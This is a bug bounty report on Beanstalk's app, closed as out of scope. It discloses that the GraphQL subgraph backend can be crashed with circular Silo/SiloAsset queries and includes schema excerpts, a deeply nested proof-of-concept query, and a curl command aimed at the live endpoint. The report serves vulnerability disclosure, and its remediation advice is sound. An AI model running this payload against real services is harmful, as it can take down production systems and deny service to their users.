Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #32372
📄

Report #32372

Report Date
June 19, 2024
Status
Closed
Payout

The backend can be taken down using GraphQL circular queries

‣
Report Info

Report ID

#32372

Report type

Websites and Applications

Has PoC?

Yes

Target

https://app.bean.money

Impacts

Taking down the application/website requiring manual restoration

Description

The previous report was reported with the wrong asset, it should have been the app not the exchange please excuse my mistake.

Brief/Intro

The backend API uses GraphQL in order to fetch market data for the user however due to a DoS vulnerability in GraphQL the backend can be taken down effectively rendering the main website useless.

Vulnerability Details

The https://app.bean.money/ website while browsing the market page performs backend API calls to the https://graph.node.bean.money/subgraphs/name/beanstalk in order to get information about the Silos, Markets and more. The backend API is hosting a GraphQL service with introspection enabled which allows potential users to easily build a query which will return the data that they want. After extracting the SDL and checking the GraphQL schema there were several objects which have bidirectional connections, meaning one object points to another object which points back to the initial object. One example of such objects are the following two objects:

Here the Silo type has a field assets which returns SiloAssets array and the SiloAssets type has a silo field which returns a Silo type object. This creates a case where a potential attacker can create a circular query and hog up a lot of server resources or if enough depth is given the server can crash. One example of such query is this:

This query gets fields which by itself returns a lot of data, gets the farmer field from the fields and then the query starts to become circular where it goes cyclically silo and assets for an arbitrary depth. The cyclical nature of the query forces the GraphQL server to create a lot of objects in the memory which will crash the server if enough depth is given even if the data that's being returned isn't that much.

Impact Details

An attacker can take down the backend server by issuing one query which will make the main website useless as users can't see the data they need to, to interact with the website in a meaningful way.

References

https://app.bean.money/

https://graph.node.bean.money/subgraphs/name/beanstalk

Remediation

A potential remediation could be to use a different GraphQL service which supports query depth limits and query cost analysis, or it can be implemented manually so the server will reject too big queries or queries that need to return too much data. Or if the table schema can be changed in such a way that there will be no bidirectional connections, that will alleviate the issue as well.

Proof of concept

This will most probably crash the server so if possible use with a lesser depth or test in a test environment:

BIC Response

From the bug bounty program:

Also note that the various ecosystem subgraphs (Beanstalk, Bean, Basin, etc.) are not included as Assets in Scope.

Thus, the asset is out of scope. For this reason, we are closing this report and no reward will be issued.

type Silo {
  """
  Address for the farmer or Beanstalk
  """
  id: ID!

  """
  Beanstalk diamond address
  """
  beanstalk: Beanstalk!

  """
  Farmer address if applicable
  """
  farmer: Farmer

  """
  Tokens whitelisted for deposit within the silo
  """
  whitelistedTokens: [String!]!

  """
  Tokens that have been removed from the silo deposit whitelist
  """
  dewhitelistedTokens: [String!]!

  """
  Link to all silo assets currently associated with this silo
  """
  assets(
    skip: Int = 0
    first: Int = 100
    orderBy: SiloAsset_orderBy
    orderDirection: OrderDirection
    where: SiloAsset_filter
  ): [SiloAsset!]!

  """
  Current BDV of all deposited assets
  """
  depositedBDV: BigInt!

  """
  Current stalk balance
  """
  stalk: BigInt!

  """
  Current plantable stalk for bean seigniorage not yet claimed
  """
  plantableStalk: BigInt!

  """
  Current seeds balance
  """
  seeds: BigInt!

  """
  Current grown stalk per season
  """
  grownStalkPerSeason: BigInt!

  """
  Current roots balance
  """
  roots: BigInt!

  """
  [Seed Gauge] Stalk that is currently Germinating
  """
  germinatingStalk: BigInt!

  """
  [Seed Gauge] Current target ratio of Bean to LP deposits
  """
  beanToMaxLpGpPerBdvRatio: BigInt

  """
  Cumulative total for bean mints sent to the silo
  """
  beanMints: BigInt!

  """
  Current number of active farmers deposited in the silo
  """
  activeFarmers: Int!

  """
  Link to hourly snapshot data
  """
  hourlySnapshots(
    skip: Int = 0
    first: Int = 100
    orderBy: SiloHourlySnapshot_orderBy
    orderDirection: OrderDirection
    where: SiloHourlySnapshot_filter
  ): [SiloHourlySnapshot!]!

  """
  Link to daily snapshot data
  """
  dailySnapshots(
    skip: Int = 0
    first: Int = 100
    orderBy: SiloDailySnapshot_orderBy
    orderDirection: OrderDirection
    where: SiloDailySnapshot_filter
  ): [SiloDailySnapshot!]!
}

type SiloAsset {
  """
  Silo ID - Asset Token Address
  """
  id: ID!

  """
  Silo for this asset
  """
  silo: Silo!

  """
  Token address for this asset
  """
  token: String!

  """
  Current BDV of deposits
  """
  depositedBDV: BigInt!

  """
  Current Token amount of deposits
  """
  depositedAmount: BigInt!

  """
  Current Token amount of silo withdrawals
  """
  withdrawnAmount: BigInt!

  """
  Current internal (farm) balance of the asset
  """
  farmAmount: BigInt!

  """
  Link to hourly snapshot data
  """
  hourlySnapshots(
    skip: Int = 0
    first: Int = 100
    orderBy: SiloAssetHourlySnapshot_orderBy
    orderDirection: OrderDirection
    where: SiloAssetHourlySnapshot_filter
  ): [SiloAssetHourlySnapshot!]!

  """
  Link to daily snapshot data
  """
  dailySnapshots(
    skip: Int = 0
    first: Int = 100
    orderBy: SiloAssetDailySnapshot_orderBy
    orderDirection: OrderDirection
    where: SiloAssetDailySnapshot_filter
  ): [SiloAssetDailySnapshot!]!
}
query MyQuery {
  fields {
    farmer {
      silo {
        assets {
          silo {
            assets {
              silo {
                assets {
                  silo {
                    assets {
                      silo {
                        assets {
                          silo {
                            assets {
                              silo {
                                assets {
                                  silo {
                                    assets {
                                      id
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
curl 'https://graph.node.bean.money/subgraphs/name/beanstalk' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'Origin: altair://-' --data-binary '{"query":"query MyQuery {\n  fields {\n    farmer {\n      silo {\n        assets {\n          silo {\n            assets {\n              silo {\n                assets {\n                  silo {\n                    assets {\n                      silo {\n                        assets {\n                          silo {\n                            assets {\n                              silo {\n                                assets {\n                                  silo {\n                                    assets {\n                                      id\n                                    }\n                                  }\n                                }\n                              }\n                            }\n                          }\n                        }\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}","variables":{}}' --compressed